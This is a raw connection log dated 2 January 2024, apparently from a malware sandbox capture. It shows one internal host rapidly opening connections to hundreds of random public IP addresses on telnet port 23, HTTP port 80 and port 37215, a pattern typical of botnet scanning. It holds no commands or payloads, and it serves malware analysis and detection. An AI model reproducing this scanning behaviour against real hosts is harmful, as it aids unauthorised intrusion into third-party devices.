Jan 2, 2024 06:23:51.201421976 CET	14265	23	192.168.2.23	143.120.49.7
Jan 2, 2024 06:23:51.201431036 CET	14265	23	192.168.2.23	85.43.5.15
Jan 2, 2024 06:23:51.201442003 CET	14265	23	192.168.2.23	48.74.63.94
Jan 2, 2024 06:23:51.201447010 CET	14265	23	192.168.2.23	58.4.73.110
Jan 2, 2024 06:23:51.201452017 CET	14265	23	192.168.2.23	70.65.187.62
Jan 2, 2024 06:23:51.201462984 CET	14265	23	192.168.2.23	112.136.141.166
Jan 2, 2024 06:23:51.201467991 CET	14265	23	192.168.2.23	172.244.236.226
Jan 2, 2024 06:23:51.201467991 CET	14265	23	192.168.2.23	96.105.16.248
Jan 2, 2024 06:23:51.201467991 CET	14265	23	192.168.2.23	99.38.168.68
Jan 2, 2024 06:23:51.201467991 CET	14265	23	192.168.2.23	99.91.227.98
Jan 2, 2024 06:23:51.201471090 CET	14265	23	192.168.2.23	134.250.182.181
Jan 2, 2024 06:23:51.201471090 CET	14265	23	192.168.2.23	108.26.44.231
Jan 2, 2024 06:23:51.201473951 CET	14265	23	192.168.2.23	168.184.136.214
Jan 2, 2024 06:23:51.201473951 CET	14265	23	192.168.2.23	192.56.23.163
Jan 2, 2024 06:23:51.201476097 CET	14265	23	192.168.2.23	31.79.230.134
Jan 2, 2024 06:23:51.201477051 CET	14265	23	192.168.2.23	125.76.16.197
Jan 2, 2024 06:23:51.201488972 CET	14265	23	192.168.2.23	77.117.41.220
Jan 2, 2024 06:23:51.201488972 CET	14265	23	192.168.2.23	108.249.207.153
Jan 2, 2024 06:23:51.201491117 CET	14265	23	192.168.2.23	189.86.18.196
Jan 2, 2024 06:23:51.201492071 CET	14265	23	192.168.2.23	12.27.221.61
Jan 2, 2024 06:23:51.201498985 CET	14265	23	192.168.2.23	122.195.223.46
Jan 2, 2024 06:23:51.201498985 CET	14265	23	192.168.2.23	133.22.55.71
Jan 2, 2024 06:23:51.201503038 CET	14265	23	192.168.2.23	223.13.119.225
Jan 2, 2024 06:23:51.201503038 CET	14265	23	192.168.2.23	60.56.233.51
Jan 2, 2024 06:23:51.201512098 CET	14265	23	192.168.2.23	192.100.188.129
Jan 2, 2024 06:23:51.201514959 CET	14265	23	192.168.2.23	158.231.101.108
Jan 2, 2024 06:23:51.201522112 CET	14265	23	192.168.2.23	53.178.53.225
Jan 2, 2024 06:23:51.201522112 CET	14265	23	192.168.2.23	114.36.2.59
Jan 2, 2024 06:23:51.201529026 CET	14265	23	192.168.2.23	145.177.41.158
Jan 2, 2024 06:23:51.201529980 CET	14265	23	192.168.2.23	58.178.32.170
Jan 2, 2024 06:23:51.201595068 CET	36680	23	192.168.2.23	90.117.50.182
Jan 2, 2024 06:23:51.201608896 CET	51912	23	192.168.2.23	49.232.101.104
Jan 2, 2024 06:23:51.217958927 CET	60502	80	192.168.2.23	67.212.162.83
Jan 2, 2024 06:23:51.217958927 CET	42464	80	192.168.2.23	63.195.193.240
Jan 2, 2024 06:23:51.217962980 CET	45206	23	192.168.2.23	182.253.187.98
Jan 2, 2024 06:23:51.217966080 CET	60550	80	192.168.2.23	104.107.28.16
Jan 2, 2024 06:23:51.217966080 CET	55228	80	192.168.2.23	220.134.218.248
Jan 2, 2024 06:23:51.249967098 CET	48512	37215	192.168.2.23	156.241.14.153
Jan 2, 2024 06:23:51.249968052 CET	51712	37215	192.168.2.23	156.247.18.93
Jan 2, 2024 06:23:51.325351954 CET	23	14265	172.65.204.212	192.168.2.23
Jan 2, 2024 06:23:51.325417995 CET	14265	23	192.168.2.23	172.65.204.212
Jan 2, 2024 06:23:51.343686104 CET	23	14265	216.172.172.237	192.168.2.23
Jan 2, 2024 06:23:51.361049891 CET	80	60502	67.212.162.83	192.168.2.23
Jan 2, 2024 06:23:51.361095905 CET	60502	80	192.168.2.23	67.212.162.83
Jan 2, 2024 06:23:51.361129045 CET	33832	80	192.168.2.23	66.22.55.129
Jan 2, 2024 06:23:51.361140966 CET	53040	80	192.168.2.23	38.55.173.244
Jan 2, 2024 06:23:51.361149073 CET	36382	80	192.168.2.23	173.61.119.77
Jan 2, 2024 06:23:51.361167908 CET	60990	80	192.168.2.23	159.69.20.60
Jan 2, 2024 06:23:51.361185074 CET	48094	80	192.168.2.23	5.133.222.136
Jan 2, 2024 06:23:51.361207008 CET	46956	80	192.168.2.23	160.121.60.205
Jan 2, 2024 06:23:51.361229897 CET	60502	80	192.168.2.23	67.212.162.83
Jan 2, 2024 06:23:51.361229897 CET	60502	80	192.168.2.23	67.212.162.83
Jan 2, 2024 06:23:51.361265898 CET	60588	80	192.168.2.23	67.212.162.83
Jan 2, 2024 06:23:51.372334003 CET	80	42464	63.195.193.240	192.168.2.23
Jan 2, 2024 06:23:51.372385979 CET	42464	80	192.168.2.23	63.195.193.240
Jan 2, 2024 06:23:51.372397900 CET	42464	80	192.168.2.23	63.195.193.240
Jan 2, 2024 06:23:51.372397900 CET	42464	80	192.168.2.23	63.195.193.240
Jan 2, 2024 06:23:51.372414112 CET	42550	80	192.168.2.23	63.195.193.240
Jan 2, 2024 06:23:51.391182899 CET	80	60550	104.107.28.16	192.168.2.23
Jan 2, 2024 06:23:51.391227961 CET	60550	80	192.168.2.23	104.107.28.16
Jan 2, 2024 06:23:51.391247988 CET	60550	80	192.168.2.23	104.107.28.16
Jan 2, 2024 06:23:51.391247988 CET	60550	80	192.168.2.23	104.107.28.16
Jan 2, 2024 06:23:51.391263962 CET	60636	80	192.168.2.23	104.107.28.16
Jan 2, 2024 06:23:51.409971952 CET	34066	37215	192.168.2.23	156.235.102.230
Jan 2, 2024 06:23:51.429678917 CET	23	14265	79.171.84.253	192.168.2.23
Jan 2, 2024 06:23:51.437309027 CET	23	14265	176.126.112.73	192.168.2.23
Jan 2, 2024 06:23:51.456207037 CET	23	14265	162.19.152.13	192.168.2.23
Jan 2, 2024 06:23:51.458651066 CET	23	14265	210.132.175.66	192.168.2.23
Jan 2, 2024 06:23:51.459021091 CET	23	14265	37.222.56.238	192.168.2.23
Jan 2, 2024 06:23:51.463186979 CET	23	14265	58.188.102.107	192.168.2.23
Jan 2, 2024 06:23:51.474107027 CET	23	36680	90.117.50.182	192.168.2.23
Jan 2, 2024 06:23:51.474179983 CET	36680	23	192.168.2.23	90.117.50.182
Jan 2, 2024 06:23:51.474327087 CET	48568	23	192.168.2.23	172.65.204.212
Jan 2, 2024 06:23:51.475758076 CET	23	14265	133.165.188.249	192.168.2.23
Jan 2, 2024 06:23:51.491489887 CET	23	14265	180.152.89.150	192.168.2.23
Jan 2, 2024 06:23:51.504235029 CET	80	60502	67.212.162.83	192.168.2.23
Jan 2, 2024 06:23:51.504483938 CET	80	60502	67.212.162.83	192.168.2.23
Jan 2, 2024 06:23:51.504494905 CET	80	60502	67.212.162.83	192.168.2.23
Jan 2, 2024 06:23:51.504501104 CET	80	60588	67.212.162.83	192.168.2.23
Jan 2, 2024 06:23:51.504538059 CET	60502	80	192.168.2.23	67.212.162.83
Jan 2, 2024 06:23:51.504550934 CET	60502	80	192.168.2.23	67.212.162.83
Jan 2, 2024 06:23:51.504559994 CET	60588	80	192.168.2.23	67.212.162.83
Jan 2, 2024 06:23:51.504599094 CET	60588	80	192.168.2.23	67.212.162.83
Jan 2, 2024 06:23:51.505964041 CET	80	33832	66.22.55.129	192.168.2.23
Jan 2, 2024 06:23:51.506002903 CET	33832	80	192.168.2.23	66.22.55.129
Jan 2, 2024 06:23:51.506025076 CET	33832	80	192.168.2.23	66.22.55.129
Jan 2, 2024 06:23:51.506025076 CET	33832	80	192.168.2.23	66.22.55.129
Jan 2, 2024 06:23:51.506051064 CET	33852	80	192.168.2.23	66.22.55.129
Jan 2, 2024 06:23:51.508675098 CET	80	55228	220.134.218.248	192.168.2.23
Jan 2, 2024 06:23:51.508718014 CET	55228	80	192.168.2.23	220.134.218.248
Jan 2, 2024 06:23:51.508732080 CET	55228	80	192.168.2.23	220.134.218.248
Jan 2, 2024 06:23:51.508747101 CET	55228	80	192.168.2.23	220.134.218.248
Jan 2, 2024 06:23:51.508765936 CET	55318	80	192.168.2.23	220.134.218.248
Jan 2, 2024 06:23:51.511959076 CET	80	53040	38.55.173.244	192.168.2.23
Jan 2, 2024 06:23:51.512000084 CET	53040	80	192.168.2.23	38.55.173.244
Jan 2, 2024 06:23:51.512012959 CET	53040	80	192.168.2.23	38.55.173.244
Jan 2, 2024 06:23:51.512012959 CET	53040	80	192.168.2.23	38.55.173.244
Jan 2, 2024 06:23:51.512034893 CET	53062	80	192.168.2.23	38.55.173.244
Jan 2, 2024 06:23:51.523942947 CET	23	14265	2.140.171.15	192.168.2.23
Jan 2, 2024 06:23:51.525016069 CET	23	14265	91.196.35.247	192.168.2.23
Jan 2, 2024 06:23:51.525666952 CET	23	51912	49.232.101.104	192.168.2.23
Jan 2, 2024 06:23:51.525703907 CET	51912	23	192.168.2.23	49.232.101.104
Jan 2, 2024 06:23:51.527247906 CET	80	42464	63.195.193.240	192.168.2.23
Jan 2, 2024 06:23:51.527343988 CET	80	42550	63.195.193.240	192.168.2.23
Jan 2, 2024 06:23:51.527359962 CET	80	42464	63.195.193.240	192.168.2.23
Jan 2, 2024 06:23:51.527369976 CET	80	42464	63.195.193.240	192.168.2.23
Jan 2, 2024 06:23:51.527400970 CET	42550	80	192.168.2.23	63.195.193.240
Jan 2, 2024 06:23:51.527400970 CET	42550	80	192.168.2.23	63.195.193.240
Jan 2, 2024 06:23:51.527403116 CET	42464	80	192.168.2.23	63.195.193.240
Jan 2, 2024 06:23:51.527403116 CET	42464	80	192.168.2.23	63.195.193.240
Jan 2, 2024 06:23:51.528949976 CET	80	36382	173.61.119.77	192.168.2.23
Jan 2, 2024 06:23:51.528983116 CET	36382	80	192.168.2.23	173.61.119.77
Jan 2, 2024 06:23:51.529010057 CET	36382	80	192.168.2.23	173.61.119.77
Jan 2, 2024 06:23:51.529010057 CET	36382	80	192.168.2.23	173.61.119.77
Jan 2, 2024 06:23:51.529028893 CET	36404	80	192.168.2.23	173.61.119.77
Jan 2, 2024 06:23:51.552788973 CET	80	60636	104.107.28.16	192.168.2.23
Jan 2, 2024 06:23:51.552856922 CET	60636	80	192.168.2.23	104.107.28.16
Jan 2, 2024 06:23:51.552856922 CET	60636	80	192.168.2.23	104.107.28.16
Jan 2, 2024 06:23:51.552870035 CET	18377	80	192.168.2.23	65.16.15.191
Jan 2, 2024 06:23:51.552875996 CET	18377	80	192.168.2.23	213.234.217.149
Jan 2, 2024 06:23:51.552881956 CET	18377	80	192.168.2.23	145.123.87.188
Jan 2, 2024 06:23:51.552900076 CET	18377	80	192.168.2.23	46.109.74.204
Jan 2, 2024 06:23:51.552901030 CET	18377	80	192.168.2.23	206.174.66.95
Jan 2, 2024 06:23:51.552903891 CET	18377	80	192.168.2.23	25.115.153.171
Jan 2, 2024 06:23:51.552910089 CET	18377	80	192.168.2.23	8.202.234.207
Jan 2, 2024 06:23:51.552925110 CET	18377	80	192.168.2.23	82.235.65.185
Jan 2, 2024 06:23:51.552922964 CET	18377	80	192.168.2.23	4.87.216.149
Jan 2, 2024 06:23:51.552928925 CET	18377	80	192.168.2.23	108.37.196.54
Jan 2, 2024 06:23:51.552936077 CET	18377	80	192.168.2.23	152.53.126.101
Jan 2, 2024 06:23:51.552946091 CET	18377	80	192.168.2.23	156.88.141.234
Jan 2, 2024 06:23:51.552949905 CET	18377	80	192.168.2.23	52.17.238.184
Jan 2, 2024 06:23:51.552952051 CET	18377	80	192.168.2.23	25.226.237.41
Jan 2, 2024 06:23:51.552958012 CET	18377	80	192.168.2.23	47.160.43.109
Jan 2, 2024 06:23:51.552958965 CET	18377	80	192.168.2.23	102.245.96.44
Jan 2, 2024 06:23:51.552969933 CET	18377	80	192.168.2.23	221.204.205.212
Jan 2, 2024 06:23:51.552968979 CET	18377	80	192.168.2.23	104.32.192.87
Jan 2, 2024 06:23:51.552984953 CET	18377	80	192.168.2.23	122.163.206.173
Jan 2, 2024 06:23:51.552989960 CET	18377	80	192.168.2.23	132.27.140.155
Jan 2, 2024 06:23:51.552994013 CET	18377	80	192.168.2.23	81.94.146.172
Jan 2, 2024 06:23:51.552998066 CET	18377	80	192.168.2.23	154.21.126.1
Jan 2, 2024 06:23:51.552998066 CET	18377	80	192.168.2.23	125.55.195.25
Jan 2, 2024 06:23:51.553009033 CET	18377	80	192.168.2.23	152.63.30.27
Jan 2, 2024 06:23:51.553008080 CET	18377	80	192.168.2.23	48.196.78.176
Jan 2, 2024 06:23:51.553008080 CET	18377	80	192.168.2.23	172.88.10.135
Jan 2, 2024 06:23:51.553015947 CET	18377	80	192.168.2.23	177.193.185.60
Jan 2, 2024 06:23:51.553018093 CET	18377	80	192.168.2.23	39.71.138.211
Jan 2, 2024 06:23:51.553033113 CET	18377	80	192.168.2.23	140.174.119.180
Jan 2, 2024 06:23:51.553033113 CET	18377	80	192.168.2.23	65.101.148.221
Jan 2, 2024 06:23:51.553035021 CET	18377	80	192.168.2.23	189.49.106.86
Jan 2, 2024 06:23:51.553035021 CET	18377	80	192.168.2.23	52.15.193.7
Jan 2, 2024 06:23:51.553075075 CET	18377	80	192.168.2.23	146.251.156.118
Jan 2, 2024 06:23:51.553078890 CET	18377	80	192.168.2.23	195.128.164.41
Jan 2, 2024 06:23:51.553078890 CET	18377	80	192.168.2.23	31.145.247.210
Jan 2, 2024 06:23:51.553078890 CET	18377	80	192.168.2.23	202.111.57.166
Jan 2, 2024 06:23:51.553081036 CET	18377	80	192.168.2.23	49.202.190.199
Jan 2, 2024 06:23:51.553081036 CET	18377	80	192.168.2.23	166.116.186.71
Jan 2, 2024 06:23:51.553111076 CET	18377	80	192.168.2.23	129.183.34.128
Jan 2, 2024 06:23:51.553111076 CET	18377	80	192.168.2.23	86.14.165.28
Jan 2, 2024 06:23:51.553111076 CET	18377	80	192.168.2.23	150.152.65.86
Jan 2, 2024 06:23:51.553113937 CET	18377	80	192.168.2.23	47.188.26.90
Jan 2, 2024 06:23:51.553113937 CET	18377	80	192.168.2.23	149.57.79.102
Jan 2, 2024 06:23:51.553117037 CET	18377	80	192.168.2.23	98.233.113.88
Jan 2, 2024 06:23:51.553117037 CET	18377	80	192.168.2.23	93.35.247.24
Jan 2, 2024 06:23:51.553117990 CET	18377	80	192.168.2.23	108.115.102.172
Jan 2, 2024 06:23:51.553119898 CET	18377	80	192.168.2.23	95.142.96.165
Jan 2, 2024 06:23:51.553121090 CET	18377	80	192.168.2.23	115.192.25.150
Jan 2, 2024 06:23:51.553121090 CET	18377	80	192.168.2.23	132.253.59.6
Jan 2, 2024 06:23:51.553122997 CET	18377	80	192.168.2.23	212.235.171.204
Jan 2, 2024 06:23:51.553128958 CET	18377	80	192.168.2.23	108.186.216.181
Jan 2, 2024 06:23:51.553131104 CET	18377	80	192.168.2.23	182.37.173.9
Jan 2, 2024 06:23:51.553133011 CET	18377	80	192.168.2.23	128.157.60.187
Jan 2, 2024 06:23:51.553152084 CET	18377	80	192.168.2.23	118.37.39.233
Jan 2, 2024 06:23:51.553154945 CET	18377	80	192.168.2.23	110.89.187.45
Jan 2, 2024 06:23:51.553154945 CET	18377	80	192.168.2.23	64.18.221.98
Jan 2, 2024 06:23:51.553157091 CET	18377	80	192.168.2.23	149.171.39.84
Jan 2, 2024 06:23:51.553160906 CET	18377	80	192.168.2.23	198.6.109.71
Jan 2, 2024 06:23:51.553160906 CET	18377	80	192.168.2.23	120.118.163.16
Jan 2, 2024 06:23:51.553162098 CET	18377	80	192.168.2.23	5.255.49.150
Jan 2, 2024 06:23:51.553162098 CET	18377	80	192.168.2.23	135.17.120.77
Jan 2, 2024 06:23:51.553162098 CET	18377	80	192.168.2.23	220.245.80.65
Jan 2, 2024 06:23:51.553169012 CET	18377	80	192.168.2.23	85.71.20.60
Jan 2, 2024 06:23:51.553174973 CET	18377	80	192.168.2.23	14.191.31.195
Jan 2, 2024 06:23:51.553177118 CET	18377	80	192.168.2.23	81.128.198.14
Jan 2, 2024 06:23:51.553188086 CET	18377	80	192.168.2.23	162.233.75.255
Jan 2, 2024 06:23:51.553189039 CET	18377	80	192.168.2.23	4.244.181.184
Jan 2, 2024 06:23:51.553191900 CET	18377	80	192.168.2.23	148.176.153.51
Jan 2, 2024 06:23:51.553199053 CET	18377	80	192.168.2.23	46.76.48.196
Jan 2, 2024 06:23:51.553205013 CET	18377	80	192.168.2.23	57.61.131.201
Jan 2, 2024 06:23:51.553210974 CET	18377	80	192.168.2.23	73.166.25.197
Jan 2, 2024 06:23:51.553214073 CET	18377	80	192.168.2.23	12.63.182.82
Jan 2, 2024 06:23:51.553220987 CET	18377	80	192.168.2.23	185.174.181.222
Jan 2, 2024 06:23:51.553222895 CET	18377	80	192.168.2.23	102.15.231.14
Jan 2, 2024 06:23:51.553222895 CET	18377	80	192.168.2.23	134.240.141.224
Jan 2, 2024 06:23:51.553225994 CET	18377	80	192.168.2.23	194.189.106.4
Jan 2, 2024 06:23:51.553225994 CET	18377	80	192.168.2.23	66.62.234.113
Jan 2, 2024 06:23:51.553226948 CET	18377	80	192.168.2.23	114.1.33.218
Jan 2, 2024 06:23:51.553226948 CET	18377	80	192.168.2.23	183.26.138.189
Jan 2, 2024 06:23:51.553241014 CET	18377	80	192.168.2.23	44.121.120.73
Jan 2, 2024 06:23:51.553246021 CET	18377	80	192.168.2.23	160.7.96.217
Jan 2, 2024 06:23:51.553250074 CET	18377	80	192.168.2.23	81.18.211.96
Jan 2, 2024 06:23:51.553265095 CET	18377	80	192.168.2.23	5.118.64.129
Jan 2, 2024 06:23:51.553271055 CET	18377	80	192.168.2.23	119.6.135.214
Jan 2, 2024 06:23:51.553275108 CET	18377	80	192.168.2.23	46.148.13.140
Jan 2, 2024 06:23:51.553276062 CET	18377	80	192.168.2.23	81.169.117.45
Jan 2, 2024 06:23:51.553286076 CET	18377	80	192.168.2.23	188.55.25.123
Jan 2, 2024 06:23:51.553289890 CET	18377	80	192.168.2.23	8.65.219.248
Jan 2, 2024 06:23:51.553296089 CET	18377	80	192.168.2.23	193.46.57.210
Jan 2, 2024 06:23:51.553296089 CET	18377	80	192.168.2.23	223.4.97.122
Jan 2, 2024 06:23:51.553308010 CET	18377	80	192.168.2.23	97.45.167.123
Jan 2, 2024 06:23:51.553308010 CET	18377	80	192.168.2.23	147.35.101.195
Jan 2, 2024 06:23:51.553323030 CET	18377	80	192.168.2.23	178.199.241.111
Jan 2, 2024 06:23:51.553323984 CET	18377	80	192.168.2.23	186.35.24.124
Jan 2, 2024 06:23:51.553323984 CET	18377	80	192.168.2.23	72.169.130.100
Jan 2, 2024 06:23:51.553323984 CET	18377	80	192.168.2.23	199.132.3.241
Jan 2, 2024 06:23:51.553333044 CET	18377	80	192.168.2.23	133.190.200.175
Jan 2, 2024 06:23:51.553333998 CET	18377	80	192.168.2.23	206.219.97.6
Jan 2, 2024 06:23:51.553339958 CET	18377	80	192.168.2.23	176.138.140.68
Jan 2, 2024 06:23:51.553342104 CET	18377	80	192.168.2.23	137.112.3.213
Jan 2, 2024 06:23:51.553349972 CET	18377	80	192.168.2.23	50.219.245.244
Jan 2, 2024 06:23:51.553349972 CET	18377	80	192.168.2.23	100.131.130.171
Jan 2, 2024 06:23:51.553350925 CET	18377	80	192.168.2.23	37.158.143.40
Jan 2, 2024 06:23:51.553365946 CET	18377	80	192.168.2.23	190.17.142.198
Jan 2, 2024 06:23:51.553379059 CET	18377	80	192.168.2.23	57.108.72.163
Jan 2, 2024 06:23:51.553379059 CET	18377	80	192.168.2.23	63.75.95.161
Jan 2, 2024 06:23:51.553380013 CET	18377	80	192.168.2.23	126.96.88.47
Jan 2, 2024 06:23:51.553384066 CET	18377	80	192.168.2.23	53.36.225.186
Jan 2, 2024 06:23:51.553404093 CET	18377	80	192.168.2.23	41.223.20.232
Jan 2, 2024 06:23:51.553404093 CET	18377	80	192.168.2.23	36.13.97.219
Jan 2, 2024 06:23:51.553409100 CET	18377	80	192.168.2.23	206.77.254.142
Jan 2, 2024 06:23:51.553411007 CET	18377	80	192.168.2.23	89.190.178.94
Jan 2, 2024 06:23:51.553411961 CET	18377	80	192.168.2.23	102.1.39.73
Jan 2, 2024 06:23:51.553417921 CET	18377	80	192.168.2.23	76.208.155.80
Jan 2, 2024 06:23:51.553419113 CET	18377	80	192.168.2.23	136.101.137.0
Jan 2, 2024 06:23:51.553420067 CET	18377	80	192.168.2.23	90.4.173.90
Jan 2, 2024 06:23:51.553421021 CET	18377	80	192.168.2.23	116.203.70.28
Jan 2, 2024 06:23:51.553421974 CET	18377	80	192.168.2.23	140.102.52.51
Jan 2, 2024 06:23:51.553437948 CET	18377	80	192.168.2.23	204.193.107.170
Jan 2, 2024 06:23:51.553440094 CET	18377	80	192.168.2.23	139.217.200.212
Jan 2, 2024 06:23:51.553437948 CET	18377	80	192.168.2.23	48.240.153.251
Jan 2, 2024 06:23:51.553442001 CET	18377	80	192.168.2.23	25.245.71.198
Jan 2, 2024 06:23:51.553443909 CET	18377	80	192.168.2.23	123.226.23.196
Jan 2, 2024 06:23:51.553445101 CET	18377	80	192.168.2.23	91.137.29.47
Jan 2, 2024 06:23:51.553450108 CET	18377	80	192.168.2.23	153.221.121.196
Jan 2, 2024 06:23:51.553463936 CET	18377	80	192.168.2.23	13.125.103.139
Jan 2, 2024 06:23:51.553464890 CET	18377	80	192.168.2.23	203.206.174.220
Jan 2, 2024 06:23:51.553467989 CET	18377	80	192.168.2.23	63.73.232.227
Jan 2, 2024 06:23:51.553483009 CET	18377	80	192.168.2.23	53.143.28.182
Jan 2, 2024 06:23:51.553491116 CET	18377	80	192.168.2.23	171.150.75.203
Jan 2, 2024 06:23:51.553491116 CET	18377	80	192.168.2.23	5.2.237.61
Jan 2, 2024 06:23:51.553491116 CET	18377	80	192.168.2.23	25.89.102.223
Jan 2, 2024 06:23:51.553491116 CET	18377	80	192.168.2.23	53.78.82.155
Jan 2, 2024 06:23:51.553498030 CET	18377	80	192.168.2.23	73.4.135.216
Jan 2, 2024 06:23:51.553503036 CET	18377	80	192.168.2.23	19.226.234.44
Jan 2, 2024 06:23:51.553512096 CET	18377	80	192.168.2.23	124.159.110.214
Jan 2, 2024 06:23:51.553517103 CET	18377	80	192.168.2.23	195.181.212.23
Jan 2, 2024 06:23:51.553519964 CET	18377	80	192.168.2.23	89.153.137.192
Jan 2, 2024 06:23:51.553527117 CET	18377	80	192.168.2.23	136.80.85.167
Jan 2, 2024 06:23:51.553535938 CET	18377	80	192.168.2.23	105.69.223.78
Jan 2, 2024 06:23:51.553540945 CET	18377	80	192.168.2.23	160.1.77.186
Jan 2, 2024 06:23:51.553545952 CET	18377	80	192.168.2.23	178.109.58.81
Jan 2, 2024 06:23:51.553545952 CET	18377	80	192.168.2.23	164.252.66.186
Jan 2, 2024 06:23:51.553545952 CET	18377	80	192.168.2.23	125.198.80.162
Jan 2, 2024 06:23:51.553546906 CET	18377	80	192.168.2.23	42.19.141.17
Jan 2, 2024 06:23:51.553554058 CET	18377	80	192.168.2.23	70.151.195.92
Jan 2, 2024 06:23:51.553563118 CET	18377	80	192.168.2.23	54.103.75.115
Jan 2, 2024 06:23:51.553571939 CET	18377	80	192.168.2.23	34.45.171.96
Jan 2, 2024 06:23:51.553571939 CET	18377	80	192.168.2.23	194.60.175.240
Jan 2, 2024 06:23:51.553571939 CET	18377	80	192.168.2.23	128.134.207.126
Jan 2, 2024 06:23:51.553596973 CET	18377	80	192.168.2.23	179.151.58.60
Jan 2, 2024 06:23:51.553599119 CET	18377	80	192.168.2.23	34.55.113.13
Jan 2, 2024 06:23:51.553601980 CET	18377	80	192.168.2.23	141.112.141.168
Jan 2, 2024 06:23:51.553601980 CET	18377	80	192.168.2.23	145.176.64.163
Jan 2, 2024 06:23:51.553606987 CET	18377	80	192.168.2.23	164.190.93.235
Jan 2, 2024 06:23:51.553606987 CET	18377	80	192.168.2.23	36.109.138.34
Jan 2, 2024 06:23:51.553606987 CET	18377	80	192.168.2.23	31.227.252.75
Jan 2, 2024 06:23:51.553607941 CET	18377	80	192.168.2.23	104.81.147.86
Jan 2, 2024 06:23:51.553613901 CET	18377	80	192.168.2.23	79.154.98.6
Jan 2, 2024 06:23:51.553617001 CET	18377	80	192.168.2.23	49.83.98.150
Jan 2, 2024 06:23:51.553617001 CET	18377	80	192.168.2.23	125.6.6.147
Jan 2, 2024 06:23:51.553622007 CET	18377	80	192.168.2.23	133.22.253.91
Jan 2, 2024 06:23:51.553634882 CET	18377	80	192.168.2.23	112.76.98.134
Jan 2, 2024 06:23:51.553634882 CET	18377	80	192.168.2.23	99.201.26.243
Jan 2, 2024 06:23:51.553634882 CET	18377	80	192.168.2.23	196.1.96.230
Jan 2, 2024 06:23:51.553644896 CET	18377	80	192.168.2.23	205.145.216.180
Jan 2, 2024 06:23:51.553646088 CET	18377	80	192.168.2.23	211.164.125.142
Jan 2, 2024 06:23:51.553653002 CET	18377	80	192.168.2.23	76.140.227.16
Jan 2, 2024 06:23:51.553656101 CET	23	45206	182.253.187.98	192.168.2.23
Jan 2, 2024 06:23:51.553661108 CET	18377	80	192.168.2.23	73.216.130.145
Jan 2, 2024 06:23:51.553666115 CET	18377	80	192.168.2.23	159.112.86.49
Jan 2, 2024 06:23:51.553669930 CET	80	60550	104.107.28.16	192.168.2.23
Jan 2, 2024 06:23:51.553690910 CET	18377	80	192.168.2.23	145.115.133.181
Jan 2, 2024 06:23:51.553694963 CET	18377	80	192.168.2.23	107.101.173.116
Jan 2, 2024 06:23:51.553694963 CET	18377	80	192.168.2.23	42.32.2.1
Jan 2, 2024 06:23:51.553716898 CET	45206	23	192.168.2.23	182.253.187.98
Jan 2, 2024 06:23:51.553726912 CET	18377	80	192.168.2.23	176.157.138.52
Jan 2, 2024 06:23:51.553730965 CET	18377	80	192.168.2.23	111.110.58.104
Jan 2, 2024 06:23:51.553740025 CET	18377	80	192.168.2.23	18.148.223.66
Jan 2, 2024 06:23:51.553741932 CET	18377	80	192.168.2.23	216.231.165.201
Jan 2, 2024 06:23:51.553749084 CET	18377	80	192.168.2.23	135.95.255.25
Jan 2, 2024 06:23:51.553765059 CET	18377	80	192.168.2.23	93.190.72.59
Jan 2, 2024 06:23:51.553769112 CET	18377	80	192.168.2.23	173.100.167.224
Jan 2, 2024 06:23:51.553770065 CET	18377	80	192.168.2.23	152.29.38.48
Jan 2, 2024 06:23:51.553772926 CET	18377	80	192.168.2.23	143.254.116.167
Jan 2, 2024 06:23:51.553780079 CET	18377	80	192.168.2.23	185.124.143.188
Jan 2, 2024 06:23:51.553782940 CET	18377	80	192.168.2.23	39.123.46.95
Jan 2, 2024 06:23:51.553797960 CET	18377	80	192.168.2.23	189.144.206.58
Jan 2, 2024 06:23:51.553803921 CET	18377	80	192.168.2.23	67.207.70.100
Jan 2, 2024 06:23:51.553803921 CET	18377	80	192.168.2.23	196.35.136.179
Jan 2, 2024 06:23:51.553803921 CET	18377	80	192.168.2.23	209.43.14.94
Jan 2, 2024 06:23:51.553811073 CET	18377	80	192.168.2.23	60.85.248.123
Jan 2, 2024 06:23:51.553837061 CET	18377	80	192.168.2.23	99.82.31.160
Jan 2, 2024 06:23:51.553837061 CET	18377	80	192.168.2.23	179.102.231.35
Jan 2, 2024 06:23:51.553838015 CET	18377	80	192.168.2.23	125.99.205.226
Jan 2, 2024 06:23:51.553839922 CET	18377	80	192.168.2.23	54.211.17.190
Jan 2, 2024 06:23:51.553839922 CET	18377	80	192.168.2.23	131.243.168.143
Jan 2, 2024 06:23:51.553839922 CET	18377	80	192.168.2.23	32.70.105.115
Jan 2, 2024 06:23:51.553841114 CET	18377	80	192.168.2.23	189.243.40.84
Jan 2, 2024 06:23:51.553845882 CET	18377	80	192.168.2.23	146.196.161.131
Jan 2, 2024 06:23:51.553858042 CET	18377	80	192.168.2.23	124.128.241.75
Jan 2, 2024 06:23:51.553859949 CET	18377	80	192.168.2.23	164.192.34.64
Jan 2, 2024 06:23:51.553860903 CET	18377	80	192.168.2.23	197.137.86.67
Jan 2, 2024 06:23:51.553860903 CET	18377	80	192.168.2.23	163.253.21.142
Jan 2, 2024 06:23:51.553864002 CET	18377	80	192.168.2.23	69.18.20.198
Jan 2, 2024 06:23:51.553864002 CET	18377	80	192.168.2.23	5.197.180.126
Jan 2, 2024 06:23:51.553864956 CET	18377	80	192.168.2.23	73.5.149.229
Jan 2, 2024 06:23:51.553864956 CET	18377	80	192.168.2.23	79.126.189.62
Jan 2, 2024 06:23:51.553868055 CET	18377	80	192.168.2.23	204.34.170.13
Jan 2, 2024 06:23:51.553874016 CET	18377	80	192.168.2.23	150.28.19.67
Jan 2, 2024 06:23:51.553874016 CET	18377	80	192.168.2.23	97.224.22.217
Jan 2, 2024 06:23:51.553875923 CET	18377	80	192.168.2.23	54.167.204.12
Jan 2, 2024 06:23:51.553877115 CET	18377	80	192.168.2.23	162.75.61.86
Jan 2, 2024 06:23:51.553886890 CET	18377	80	192.168.2.23	210.210.136.109
Jan 2, 2024 06:23:51.553891897 CET	18377	80	192.168.2.23	205.133.179.48
Jan 2, 2024 06:23:51.553894997 CET	80	60550	104.107.28.16	192.168.2.23
Jan 2, 2024 06:23:51.553927898 CET	14265	23	192.168.2.23	73.18.142.46
Jan 2, 2024 06:23:51.553936958 CET	14265	23	192.168.2.23	221.197.57.123
Jan 2, 2024 06:23:51.553952932 CET	14265	23	192.168.2.23	67.38.100.181
Jan 2, 2024 06:23:51.553953886 CET	60550	80	192.168.2.23	104.107.28.16
Jan 2, 2024 06:23:51.553963900 CET	14265	23	192.168.2.23	98.136.73.48
Jan 2, 2024 06:23:51.553983927 CET	80	60550	104.107.28.16	192.168.2.23
